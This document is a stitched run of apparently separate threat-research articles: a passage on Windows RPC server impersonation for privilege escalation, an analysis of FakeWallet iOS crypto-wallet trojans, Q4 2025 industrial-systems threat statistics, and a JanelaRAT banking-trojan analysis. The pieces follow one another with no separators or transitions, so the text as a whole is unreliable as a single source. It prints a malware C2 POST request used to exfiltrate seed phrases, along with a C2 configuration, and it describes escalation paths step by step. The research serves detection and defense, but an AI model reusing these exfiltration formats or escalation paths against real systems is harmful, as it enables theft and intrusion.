Microsoft Edge (msedge.exe) comes preinstalled on Windows systems. During startup, Edge triggers an RPC call to TermService. This RPC call is performed with a high impersonation level.
As previously discussed, Terminal Service is disabled by default. Because of this, the expected RPC server is unavailable, creating an opportunity for the attack scenario illustrated below.
The attack follows the same initial assumption as before: the attacker has already compromised a process running under the Network Service account. From there, they deploy the same malicious RPC server that mimics the legitimate TermService RPC interface.
However, unlike the previous scenario where the attacker coerced the Group Policy service, no coercion is required this time. Instead, the attacker simply waits for a high-privileged user, such as an administrator, to launch msedge.exe.
When Edge starts, it triggers the RPC client to attempt communication with the expected TermService RPC interface. Because the legitimate server is not running, the request is received by the attacker’s fake RPC server. Since the RPC call is made with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client process.
As a result, the attacker is able to impersonate the administrator-level client and escalate privileges from Network Service to Administrator.
Background services: From WDI to RDP
Some background Windows services periodically attempt to make RPC calls to the RDP service without user interaction. One such service is the WdiSystemHost service. The Diagnostic System Host Service (WDI) is a built-in Windows service that runs system diagnostics and performs troubleshooting tasks. This service runs under the SYSTEM account.
During normal operation, WDI periodically performs background RPC calls to the Remote Desktop service (TermService) using a high impersonation level. These RPC interactions occur automatically every 5–15 minutes and do not require any user input.
This behavior can be abused in a similar manner to the previous attack scenarios, as illustrated in the figure below.
In this case, however, no user interaction or coercion is required. After deploying a malicious RPC server that mimics the expected TermService RPC interface, the attacker only needs to wait for the WDI service to perform its periodic RPC call. Because the request is made with a high impersonation level, the malicious server can invoke RpcImpersonateClient and impersonate the calling process. This enables the attacker to escalate privileges to SYSTEM.
Abusing the Local Service account: From ipconfig to DHCP
Another scenario involves the DHCP Client service, which manages DHCP client operations on Windows systems. This service runs under the Local Service account and is enabled by default.
The DHCP Client service exposes an RPC server with multiple interfaces and endpoints. These interfaces are frequently invoked by various system DLLs, often using a high impersonation level.
In this scenario, instead of compromising a process running under Network Service, it is assumed the attacker has compromised a process running under the Local Service account. I also assume that the DHCP Client service is disabled, meaning the legitimate RPC server is unavailable.
As the figure below illustrates, the attacker can leverage this situation to escalate privileges.
After gaining control of a Local Service process, the attacker deploys a malicious RPC server that mimics the legitimate RPC server normally exposed by the DHCP Client service. Once the malicious server is running, the attacker waits for a high-privileged user, such as an administrator, to execute ipconfig.exe.
When ipconfig is run, it internally triggers an RPC request to the DHCP Client service. Since the legitimate RPC server is not running, the request is received by the attacker’s fake RPC server. Because the RPC call is performed with a high impersonation level, the malicious server can call RpcImpersonateClient to impersonate the client.
As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.
Abusing Time
The Windows Time service (W32Time) is responsible for maintaining date and time synchronization across systems in a Windows environment. This service is enabled by default and runs under the Local Service account.
The service exposes an RPC server with two endpoints:
\PIPE\W32TIME_ALT
\RPC Control\W32TIME_ALT
The executable C:\Windows\System32\w32tm.exe interacts with the Windows Time service through RPC. However, before connecting to the valid RPC endpoints exposed by the service, the executable first attempts to access the nonexistent named pipe: \PIPE\W32TIME. This named pipe is not exposed by the legitimate W32Time service. However, if this endpoint were available, w32tm.exe would attempt to connect to it.
An attacker can abuse this behavior by deploying a malicious RPC server that mimics the legitimate RPC interface of the Windows Time service. Rather than exposing the legitimate endpoints, the attacker’s server exposes the nonexistent endpoint \PIPE\W32TIME, as shown in the figure below.
As in the previous scenarios, it is assumed the attacker has already compromised a process running under the Local Service account. The attacker then deploys a fake RPC server that implements the same RPC interface as the Windows Time service, but which exposes the alternative endpoint used by w32tm.exe.
Once the malicious server is running, the attacker simply waits for a high-privileged user, such as an administrator, to execute w32tm.exe. When the executable runs, it attempts to connect to the endpoint \PIPE\W32TIME. Because the attacker’s fake server exposes this endpoint, the RPC request is directed to the malicious server.
Since the RPC call is performed with a high impersonation level, the malicious server can impersonate the calling client. As a result, the attacker can escalate privileges from the Local Service account to the Administrator account.
In this scenario, it is important to note that the legitimate Windows Time service does not need to be disabled. Because the executable attempts to connect to a nonexistent endpoint, it is sufficient for the attacker to expose that endpoint through the malicious RPC server.
Vulnerability disclosure
After discovering the vulnerability, Kaspersky Security Services prepared a 10-page technical report describing the issue and the various aforementioned exploitation scenarios. The report was submitted to the Microsoft Security Response Center (MSRC) to report the vulnerability and request a fix.
Twenty days later, Microsoft responded, indicating that they did not classify the vulnerability as high severity. According to their assessment, the issue was classified as moderate severity and would therefore not be patched immediately. No CVE would be assigned, and the case would be closed without further tracking.
Microsoft explained that the moderate severity classification was due to the requirement that the originating process had to already possess the SeImpersonatePrivilege privilege. Since this privilege was typically required for the attack to succeed, Microsoft determined that the issue did not require immediate remediation.
Kaspersky Security Services respect Microsoft’s assessment and only published the research after the embargo period ends. In line with the coordinated vulnerability disclosure policy, Kaspersky Security Services will refrain from publishing detailed instructions that could enable or accelerate mass exploitation.
The disclosure timeline is shown below:
2025-09-19: Vulnerability reported to Microsoft Security Response Center (Case 101749).
2025-10-10: MSRC response – the case was assessed as moderate severity, not eligible for a bounty, no CVE was issued, and the case was closed without further tracking.
2026-04-24: expected whitepaper publication date.
Detection and defense
As discussed above, this vulnerability is related to an architectural design behavior. Fully preventing it would require Microsoft to release a patch that addresses the underlying issue.
Nevertheless, organizations can still take steps to detect and mitigate potential abuse. ETW-based monitoring within the framework described above enables defenders to identify RPC exceptions in their environment, especially when RPC clients attempt to connect to unavailable servers.
I have provide the tools used in the previously described framework so that organizations can check their environment for such behavior. You can find all of them in the research repository.
By monitoring these events, administrators can identify situations where legitimate RPC servers are expected but not running. In some cases, the attack surface may be reduced by enabling the corresponding services, ensuring that the legitimate RPC server is available. This can hinder attackers from deploying malicious RPC servers that imitate legitimate endpoints.
It is also good practice to reduce the use of the SeImpersonatePrivilege privilege in processes where it is not required. Some system processes need this privilege for normal operations. However, granting it to custom processes is generally not considered good security practice.
Conclusion
All the exploits described in this research were tested on Windows Server 2022 and Windows Server 2025 with the latest available updates prior to the submission date. The proof-of-concept implementations can be found in the research repository. However, it is highly likely that this issue may also be exploitable on other Windows versions.
Because the vulnerability stems from an architectural design issue, there may be additional attack scenarios beyond those presented in this research. The exact exploitation paths may vary from one system to another depending on factors such as installed software, the DLLs involved in RPC communication, and the availability of corresponding RPC servers.
In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.
We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.
Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.
Technical details
Background
This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.
App Store search results for “Ledger Wallet” (formerly Ledger Live)
In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.
Promotional screenshots from apps posing as the official TokenPocket app
During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:
MetaMask
Ledger
Trust Wallet
Coinbase
TokenPocket
imToken
Bitpie
We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.
We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.
The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.
However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.
An infected wallet and its corresponding profile used for the installation process
Malicious modules for hot wallets
The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.
To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.
The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:
The extracted mnemonics are stringed together.
This string is encrypted using RSA with the PKCS #1 scheme.
The encrypted data is then encoded into Base64.
Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.
The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:
Resolve symbols dataInit or processX0Parameter from the malicious library
Hand over control to these newly discovered functions
Execute the code for the original methods that the wrapper was built to replace
The content of the embedded __hook section, showing the trampolines and wrapper functions
These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.
The Ledger wallet malicious module
The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.
We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:
The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
{
"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
"code": "10001", // special code "login-url": "hxxps://xxx[.]com",
"login-code": "88761"
}
Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.
The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.
The Objective-C handler responsible for exfiltrating mnemonics
The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:
MnemonicVerifyScreen, embedded in PortfolioNavigator
PrivateKeyVerifyScreen, embedded in MyLedgerNavigator
In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.
Phishing window for seed phrase verification
The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:
verify-wallet-status.json tracks the current status and the timestamp of the last update.
verify-wallet-config.json stores the C2 server configuration the malware is currently using.
verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.
Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.
Decompiled pseudocode for the submitWalletSecret function
Other distribution channels, platforms, and the SparkKitty link
During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.
A phishing website hosting links to infected Ledger apps for both iOS and Android
We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.
One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.
Victims
Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.
Attribution
According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:
Some infected apps contained SparkKitty modules alongside the FakeWallet code.
The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
Both campaigns specifically target victims’ cryptocurrency assets.
Conclusion
Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:
Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.
The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.
Percentage of ICS computers on which malicious objects were blocked, Q1 2023–Q4 2025
Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.
Regions ranked by percentage of ICS computers on which malicious objects were blocked
Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.
Changes in percentage of ICS computers on which malicious objects were blocked, Q4 2025
Feature of the quarter: worms in email
In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.
Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.
Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.
A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.
The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.
In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.
The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.
At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.
Selected industries
The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.
These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.
Rankings of industries and OT infrastructure by percentage of ICS computers on which malicious objects were blocked
In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.
However, if we look at a broader time span, there is a downward trend in all the surveyed industries.
Percentage of ICS computers on which malicious objects were blocked in selected industries
Diversity of detected malicious objects
In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.
Percentage of ICS computers on which the activity of malicious objects from various categories was blocked
In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.
Main threat sources
Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).
The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.
In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.
Percentage of ICS computers on which malicious objects from various sources were blocked
The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.
In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.
Threat categories
Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.
Malicious objects used for initial infection
In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.
Percentage of ICS computers on which denylisted internet resources were blocked, Q1 2023–Q4 2025
Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.
The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.
Percentage of ICS computers on which malicious documents were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.
The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.
Percentage of ICS computers on which malicious scripts and phishing pages were blocked, Q1 2023–Q4 2025
Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.
Next-stage malware
Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.
In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:
Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
Ransomware: 0.16% (down 0.01 pp).
Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.
The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).
Self-propagating malware
Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.
To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.
In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.
The percentage of ICS computers on which viruses were blocked decreased to 1.33%.
AutoCAD malware
This category of malware can spread in a variety of ways, so it does not belong to a specific group.
After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.
JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.
JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.
The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.
Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.
Initial infection
JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.
Malicious email used in JanelaRAT campaigns
Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.
However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.
Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.
JanelaRAT infection flow evolution
Initial dropper
The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.
Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.
The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.
Malicious implant
In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.
JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.
The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.
String encryption
All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.
C2 communication and command handling
After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.
Following socket initialization, the malware launches two background routines:
User inactivity and session tracking
This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
Timer that looks for 10 minutes of inactivity
Victim registration and further malicious activity
This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.
This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:
We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.
Parameter
Description
VS
JanelaRAT version
PL
OFF by default
AN
Yes or No depending on whether banking security software process exists
The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.
